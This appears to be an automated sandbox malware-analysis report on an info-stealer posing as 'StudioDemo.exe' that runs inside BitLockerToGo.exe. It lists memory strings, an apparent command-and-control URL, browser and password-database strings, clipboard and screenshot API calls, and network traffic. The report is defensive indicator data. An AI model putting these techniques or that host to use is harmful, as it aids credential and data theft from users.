Source: BitLockerToGo.exe, 00000001.00000003.2016568055.0000000002999000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1991014838.000000000298C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011427431.000000000298C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2027979380.0000000002999000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1991144230.0000000002997000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1962714562.00000000029B0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2016568055.000000000298C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1921925280.000000000297E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1991573491.0000000002999000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011427431.0000000002999000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2027945096.000000000298C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2026676003.000000000298C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://armretire.sbs/api
Source: BitLockerToGo.exe, 00000001.00000003.1991014838.000000000298C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://armretire.sbs/apiAnc
Source: BitLockerToGo.exe, 00000001.00000003.1990912227.00000000029B0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1979529690.00000000029AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://armretire.sbs/apie0
Source: BitLockerToGo.exe, 00000001.00000003.1991014838.000000000298C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1991144230.0000000002997000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1991573491.0000000002999000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://armretire.sbs/apis
Source: BitLockerToGo.exe, 00000001.00000003.1979642936.000000000299D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://armretire.sbs/v
Source: BitLockerToGo.exe, 00000001.00000002.2028015180.00000000029A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1962626455.0000000004DDA000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1942645265.0000000004DDC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011525624.00000000029A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011427431.00000000029A0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1979503712.0000000004DDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://armretire.sbs:443/api
Source: StudioDemo.exe, program.js.0.dr	String found in binary or memory: https://aws.amazon.com
Source: BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: StudioDemo.exe, program.js.0.dr	String found in binary or memory: https://github.com/aws/jsii
Source: StudioDemo.exe, program.js.0.dr	String found in binary or memory: https://github.com/aws/jsii.git
Source: StudioDemo.exe, program.js.0.dr	String found in binary or memory: https://github.com/aws/jsii/issues
Source: program.js.0.dr	String found in binary or memory: https://github.com/jprichardson/node-fs-extra/issues/269
Source: StudioDemo.exe	String found in binary or memory: https://github.com/zitadel/zitadel/blob/new-eventstore/cmd/zitadel/startup.yaml.
Source: program.js.0.dr	String found in binary or memory: https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#
Source: BitLockerToGo.exe, 00000001.00000003.1922557422.0000000004E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: BitLockerToGo.exe, 00000001.00000003.1949462562.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000001.00000003.1949462562.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000001.00000003.1922557422.0000000004E2E000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1922722393.0000000004E27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: BitLockerToGo.exe, 00000001.00000003.1922722393.0000000004E02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: BitLockerToGo.exe, 00000001.00000003.1922557422.0000000004E2E000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1922722393.0000000004E27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: BitLockerToGo.exe, 00000001.00000003.1922722393.0000000004E02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000001.00000003.1949462562.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: BitLockerToGo.exe, 00000001.00000003.1949462562.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: BitLockerToGo.exe, 00000001.00000003.1949462562.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BitLockerToGo.exe, 00000001.00000003.1949462562.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000001.00000003.1949462562.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_00436BC0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_00436BC0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_00436BC0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_00436BC0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_00437689 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

1_2_00437689

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043C0D9	1_2_0043C0D9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004420E8	1_2_004420E8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043C0A8	1_2_0043C0A8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00446140	1_2_00446140
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004101A0	1_2_004101A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00426744	1_2_00426744
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004108F0	1_2_004108F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00445890	1_2_00445890
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040F95D	1_2_0040F95D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041E9B6	1_2_0041E9B6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041CA15	1_2_0041CA15
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00431A22	1_2_00431A22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042FA20	1_2_0042FA20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043BB50	1_2_0043BB50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040DF60	1_2_0040DF60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042AF30	1_2_0042AF30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042FF9C	1_2_0042FF9C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00427040	1_2_00427040
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00401000	1_2_00401000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040A008	1_2_0040A008
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042E010	1_2_0042E010
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00440010	1_2_00440010
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041D0D0	1_2_0041D0D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004430B0	1_2_004430B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00407150	1_2_00407150
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004441D0	1_2_004441D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042F1E0	1_2_0042F1E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004232C0	1_2_004232C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004012D5	1_2_004012D5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040C2F0	1_2_0040C2F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043B2A0	1_2_0043B2A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040B310	1_2_0040B310
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00401328	1_2_00401328
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004333C7	1_2_004333C7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004093E0	1_2_004093E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043C3FA	1_2_0043C3FA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00444380	1_2_00444380
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00405460	1_2_00405460
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042B427	1_2_0042B427
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004214C0	1_2_004214C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043A482	1_2_0043A482
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042D485	1_2_0042D485
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040A49A	1_2_0040A49A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043B500	1_2_0043B500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043F500	1_2_0043F500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00407510	1_2_00407510
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043C5C0	1_2_0043C5C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042A5CF	1_2_0042A5CF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004225F0	1_2_004225F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00442589	1_2_00442589
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00444590	1_2_00444590
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00443620	1_2_00443620
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004436B0	1_2_004436B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00427767	1_2_00427767
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040A700	1_2_0040A700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00429731	1_2_00429731
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040B7E0	1_2_0040B7E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00436780	1_2_00436780
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042F850	1_2_0042F850
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004038E0	1_2_004038E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042D8E0	1_2_0042D8E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043BA40	1_2_0043BA40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00434A4D	1_2_00434A4D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00414A5E	1_2_00414A5E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00442A70	1_2_00442A70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043CAF0	1_2_0043CAF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00427A8A	1_2_00427A8A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00423AB0	1_2_00423AB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00429B40	1_2_00429B40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043EB50	1_2_0043EB50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00445B60	1_2_00445B60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00428B15	1_2_00428B15
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042D8E0	1_2_0042D8E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00429C41	1_2_00429C41
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00442C90	1_2_00442C90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00411D5F	1_2_00411D5F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00445E50	1_2_00445E50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041FED0	1_2_0041FED0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0044AED2	1_2_0044AED2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041DF4C	1_2_0041DF4C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00407F50	1_2_00407F50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00417FCB	1_2_00417FCB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042CF80	1_2_0042CF80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00422F90	1_2_00422F90

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 0040E600 appears 164 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 0040CE20 appears 70 times

Source: StudioDemo.exe, 00000000.00000002.1896152018.000000000B5B0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs StudioDemo.exe

Source: StudioDemo.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: StudioDemo.exe

Binary string: bindm in unexpected GOOSrunqsteal: runq overflowdouble traceGCSweepStartunexpected mantissa baseunexpected exponent baseRat.Scan: invalid syntaxjson: unsupported type: Request Entity Too Largereflect.StructOf: field reflect.MapIter.SetValuereflect.Value.SetComplexreflect.Value.UnsafeAddraws-cdk-lib.AssetStagingaws-cdk-lib.CfnConditionaws-cdk-lib.CfnParameteracceptTermsAndConditionsaws-cdk-lib.CfnPublisheraws-cdk-lib.FeatureFlagsaws-cdk-lib.PhysicalNameaws-cdk-lib.StringConcataws-cdk-lib.Tokenizationaws-cdk-lib.AssetOptionsaws-cdk-lib.CfnHookPropsaws-cdk-lib.CfnJsonPropsAcceptTermsAndConditionsaws-cdk-lib.CfnRulePropsaws-cdk-lib.DockerVolumeaws-cdk-lib.IAnyProduceraws-cdk-lib.IInspectableaws-cdk-lib.ITokenMapperconstructs.MetadataEntryassumeRolePolicyDocumentopenIdConnectProviderArnaws-cdk-lib.aws_iam.Roleaws-cdk-lib.aws_iam.UserAssumeRolePolicyDocumentOpenIdConnectProviderArnaws-cdk-lib.aws_kms.IKeybucketRegionalDomainNamenotificationsHandlerRolereplicationConfigurationattrPolicyStatusIsPublicstorageLensConfigurationOBJECT_RESTORE_COMPLETEDBucketRegionalDomainNameNotificationsHandlerRoleReplicationConfigurationAttrPolicyStatusIsPublicStorageLensConfigurationstatisticsConfigurationsStatisticsConfigurationsallowUnassociatedTargetstaskInvocationParametersAWS_EC2_SECURITYGROUP_IDAllowUnassociatedTargetsTaskInvocationParametersAllocateAndInitializeSidBuildSecurityDescriptorWAssignProcessToJobObjectGenerateConsoleCtrlEventGetMaximumProcessorCountGetNamedPipeHandleStateWSetConsoleCursorPositionSetDefaultDllDirectoriesNtQuerySystemInformationSetupDiCreateDeviceInfoWSetupDiGetSelectedDeviceSetupDiSetSelectedDeviceGetWindowThreadProcessIdx509: malformed validityexec: Stdout already setexec: Stderr already setidna: disallowed rune %Uaddress string too shortresource length too longunpacking Question.ClassBad 'interval' param: %sMESSAGE_ENCODING_UNKNOWNinvalid field number: %dmismatching enum lengthsindent can only be space%s%s is unsupported typeunknown address protocolinvalid address checksumcould not decode: %v: %w302231454903657293676544sha2-256-trunc254-paddedinvalid instance id: %#vAWS_CLOUDFORMATION_STACKinvalid pattern syntax: flate: maxBits too largestreamSafe was not reset\Device\NamedPipe\cygwinunable to resolve %s: %vunable to resolve %v: %qgoogle.protobuf.DurationType.Indirect argument 1SliceType.Len argument 1SliceType.Cap argument 1digest size is too largeGODEBUG sys/cpu: value "", required CPU feature

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/4@1/1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_0043BE60 CoCreateInstance,

1_2_0043BE60

Source: C:\Users\user\Desktop\StudioDemo.exe

File created: C:\Users\user\AppData\Local\Temp\jsii-runtime.1178202491

Jump to behavior

Source: StudioDemo.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\StudioDemo.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004DEA000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: StudioDemo.exe	String found in binary or memory: &github.com/filecoin-project/go-address
Source: StudioDemo.exe	String found in binary or memory: &github.com/filecoin-project/go-address&map[abi.RegisteredPoStProof]struct {}&map[abi.RegisteredSealProof]struct {}&map.bucket[cid.Cid]builtin.actorInfo
Source: StudioDemo.exe	String found in binary or memory: depgithub.com/filecoin-project/go-addressv0.0.5h1:SSaFT/5aLfPXycUlFyemoHYhRgdyXClXCyDdNJKPlDM=
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.init.0
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.glob..func1
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Bytes
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.glob..func2
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Protocol
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Payload
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.String
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Empty
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Unmarshal
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Marshal
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).UnmarshalJSON
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.MarshalJSON
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Scan
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.NewIDAddress
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.NewActorAddress
Source: StudioDemo.exe	String found in binary or memory: github.com/filecoin-project/go-address.addressHash
